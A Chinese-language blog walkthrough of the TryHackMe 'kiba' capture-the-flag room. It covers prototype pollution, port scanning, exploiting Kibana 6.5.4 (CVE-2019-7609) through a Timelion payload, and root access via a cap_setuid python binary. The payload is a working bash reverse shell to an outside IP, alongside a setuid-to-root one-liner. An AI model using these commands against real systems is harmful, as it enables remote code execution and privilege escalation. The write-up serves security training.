首页 > 其他分享 >【THM】kiba练习

【THM】kiba练习

时间:2024-10-06 14:44:25浏览次数:11  
标签:cap 对象 kiba dev 练习 THM 原型 权限

【THM】kiba练习

与本文相关的TryHackMe实验房间链接:TryHackMe | kiba

简介:识别数据可视化仪表板中允许执行远程代码执行的关键安全缺陷。

你能完成这个挑战吗?

image-20241006100106153

image-20241006110806362

第一题:基于原型编程的语言特有的漏洞是什么?

知识盲区,问了AI

image-20241006100534576

原型链修改

原型链篡改是指攻击者通过修改对象的原型链来影响对象的行为或属性。这种攻击在基于原型的语言(如JavaScript)中特别常见,因为对象的属性可以通过原型链访问。

具体来说,JavaScript中的每个对象都有一个内部链接到其原型对象的属性(通常是__proto__或通过Object.getPrototypeOf获取)。如果攻击者能够修改某个对象的原型,或者将恶意属性添加到原型对象上,那么所有继承自该原型的对象都会受到影响。

例如,假设一个对象的原型被篡改,攻击者可以添加一个方法,该方法会执行恶意代码。所有从这个原型继承的对象都会继承这个方法,从而造成安全隐患。

以下是一个简单的示例:

// 原始对象
let obj = {};

// 改变原型
Object.prototype.isAdmin = function() {
    return true;
};

// 现在所有对象都可以调用isAdmin方法
console.log(obj.isAdmin()); // 输出: true

在这个例子中,攻击者通过修改Object.prototype,使得所有对象都获得了isAdmin方法,可能导致未授权的访问或信息泄露。为了防范这种攻击,可以避免直接修改内置对象的原型或使用Object.create(null)创建不继承原型的对象。

image-20241006100714957

第二题:服务器中安装的可视化仪表板是什么版本?

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -p1-10000 -T4 10.10.59.145

image-20241006101435463

可以发现目标开放了4个端口:22/tcp ssh服务、80/tcp http服务

5044/tcp lxi-evntsvc服务(一个与 Windows 系统相关的服务,通常被称为 "LXI Event Service"。它主要用于管理和处理与 LXILAN eXtensions for Instrumentation相关的事件。LXI 是一种用于测试和测量仪器的网络协议,旨在提高设备间的互操作性和灵活性。)

5601/tcp esmagent(指 "Enterprise System Management Agent",通常用于企业环境中的系统管理和监控。它是一个代理程序,能够收集和报告系统状态、性能数据和其他监控信息,通常与中央管理系统或监控工具集成。)

第二步

访问网站

我们先进入网站看看界面

80端口:

image-20241006101757174

5044端口:

image-20241006101919254

5601端口:

image-20241006101852977

第三步

信息收集

网页源码没有藏什么东西,我们分析5601端口的kibana

Kibana 是 ELK Stack(Elasticsearch, Logstash, Kibana)的重要组成部分, 一个开源数据可视化和分析工具,广泛用于数据监控、分析和可视化场景。

我们可以在设置中看到可视化仪表盘的版本为6.5.4:

image-20241006102311789

Elasticsearch 是一个基于 Lucene 的开源搜索和分析引擎,专为处理大规模数据而设计。它支持全文搜索、实时数据分析和复杂的查询功能。

Elasticsearch 常与 Logstash 和 Kibana 一起使用,构成 ELK Stack,广泛应用于日志分析、实时数据监控和搜索解决方案。

第三题:此漏洞的 CVE 编号是多少?格式为:CVE-0000-0000

根据版本搜寻漏洞

在https://www.exploit-db.com/中没有搜到

image-20241006102942540

上google:

image-20241006103023628

image-20241006103417370

第四题:破坏机器并找到user.txt

第一步

寻找漏洞利用方式

在网上搜寻相关的漏洞利用方式:

image-20241006103626905

我们依照其中的步骤进行复现

第二步

复现漏洞

首先监听端口,在Timelion栏使用POC:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.21.109/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.10.21.109/6666 0>&1\'");//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

再在左侧面板中转到Canvas栏应该就可以接收到反弹shell(这里之前失败了一次所以ip地址更改了):

image-20241006110734382

难以接收shell可以在此用github上的一键利用脚本:https://github.com/LandGrey/CVE-2019-7609

python CVE-2019-7609-kibana-rce.py -u 10.10.224.205:5601 -host 10.10.21.109 -port 6666 --shell

有了shell我们直接获取user.txt

image-20241006110942218

第五题:您将如何递归地列出所有这些Capabilities?

Capabilities 是一个概念,它提供了一个安全系统,允许将 root 权限“划分”为不同的值

getcap -r /

getcap 这个命令用于显示文件的能力信息。Linux 提供了一种称为能力(capabilities)的权限机制,可以更细粒度地控制程序的权限,而不是仅依赖传统的用户权限(如 root 权限)

-r 这个选项表示递归操作

image-20241006111903752

第六题:提升权限并获取root.txt

第一步

查看我们的权限

find / -type f -perm -04000 -ls 2>/dev/null

image-20241006112644132

搜索并没有什么能用的

根据上一题的提示,我们可以用这条命令来看我们的能力:

getcap -r /

但是会输出一大堆错误的数据,因此我们再添上不要输出错误的信息

getcap -r / 2>/dev/null

2>/dev/null 将标准错误(文件描述符 2)重定向到 /dev/null

image-20241006112322587

我们对输出进行分析:

/home/kiba/.hackmeplease/python3 = cap_setuid+ep	
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep

cap_setuid 允许程序在执行过程中更改其用户 ID。这通常用于需要临时提升权限的程序。

cap_net_raw 允许程序发送和接收原始网络数据包。这对于网络工具(如 MTR,混合了 traceroute 和 ping)来说是必需的,因为它需要直接与网络协议交互。

cap_dac_override:绕过文件访问权限检查。这使得程序能够访问所有文件,无论其权限如何。

cap_sys_ptrace:允许使用 ptrace 系统调用进行调试或跟踪其他进程。

+ep 表示“有效权限”(effective permissions)和“保留权限”

第二步

提升我们的权限

总之我们发现有我们能力能够利用的提权命令不多,但我们找到了python:

image-20241006113113948

image-20241006113138436

我们运行以下命令提权:

/home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

image-20241006113319590

image-20241006113349820

标签:cap,对象,kiba,dev,练习,THM,原型,权限
From: https://www.cnblogs.com/handsomexuejian/p/18448962

相关文章

  • 【THM】The Marketplace练习
    【THM】TheMarketplace练习与本文相关的TryHackMe实验房间链接:TryHackMe|TheMarketplace简介:你能接管marketplace的基础设施吗?TheMarketplace的系统管理员Michael允许您访问他的一个内部服务器,因此您可以渗透他和他的团队正在开发的TheMarketplace平台。他说,他和他的团......
  • 2024.10.1 近期练习
    CF1993F2Dyn-scriptedRobot(HardVersion)这个题非常的一眼,首先翻转路径的操作可以转化为翻转矩形。也就是,如果触碰了边界不改变行走的路径,而是继续走下去,只不过对应的位置需要对称回去。那么,计算走到\((0,0)\)的次数,也就是在反转后的坐标系里的\((2k_1w,2k_2h)\)的位置......
  • 算法练习记录(24.10.5)
    1.B.BrightnessBegins思路要求最后的灯泡打开的数量,由于一开始灯泡是打开的,如果最后还需要打开,那么操作数量一定是偶数,移目至操作前提,需要灯泡的序号能整除\(x\),由于遍历1~x,推出最后灯泡\(i\)亮的条件是:\(1~i\)中有偶数个\(i\)的因数,即\(i\)有偶数个因数,反之即有奇数个......
  • comp10002 Foundations of Algorithms
    comp10002 Foundations of AlgorithmsSemester 2,2024Assignment 2LearningOutcomesInthisproject,youwilldemonstrateyour understanding ofdynamic memory and linked data structures (Chap- ter 10) and extend your program design, testi......
  • 【THM】Nax练习
    【THM】Nax练习与本文相关的TryHackMe实验房间链接:TryHackMe|Nax简介:识别市场上最强大、最可信的网络监控软件中的关键安全缺陷,该软件允许用户通过身份验证执行远程代码执行。你能完成这个挑战吗?注意:这个房间需要Metasploit6第一题:你找到了什么隐藏的文件?第一步端口......
  • C++-练习-52
    题目:这个练习让您编写处理数组和结构的函数,下面是程序的框架,请提供其中描述的函数,以完成该程序#include<iostream>usingnamespacestd;constintSLEN=30;structstudent{charfullname[SLEN];charhobby[SLEN];intooplevel;}; intgetinfo(studentpa[],i......
  • 【THM】Res练习
    【THM】Res练习与本文相关的TryHackMe实验房间链接:TryHackMe|Res简介:在这个半引导式挑战中,使用内存中的数据结构入侵易受攻击的数据库服务器!你准备好接受挑战了吗?第一题:扫描机器,有多少端口是开放的?第一步端口扫描首先使用nmap对端口进行扫描nmap-sV-sC-p-10.10......
  • VulnHub2018_DeRPnStiNK靶机渗透练习
    据说该靶机有四个flag扫描扫描附近主机arp-scan-l扫主目录扫端口nmap-sS-sV-n-T4-p-192.168.xx.xx结果如下StartingNmap7.94SVN(https://nmap.org)at2024-09-3019:25CSTNmapscanreportfor192.168.93.131Hostisup(0.0024slatency).Notshown:......
  • Java面向对象第四章方法重写与多态练习题
    练习1:使用重写优化电子宠物系统需求说明使用方法重写优化电子宠物系统,实现如下效果 packagecom.hz.ch02;/***猫类*@author26255**/publicclassCatextendsFather{ privateStringsex; publicCat(Stringname,inthealth,intlove,Stringse......
  • 【THM】Git Happens练习
    【THM】GitHappens练习与本文相关的TryHackMe实验房间链接:TryHackMe|GitHappens简介:老板让我创建一个原型代码,所以它就在这里!我们甚至使用了一种叫做“版本控制”的东西,使部署变得非常容易!你能找到应用程序的密码吗?第一题:找到超级机密的密码第一步端口扫描首先使......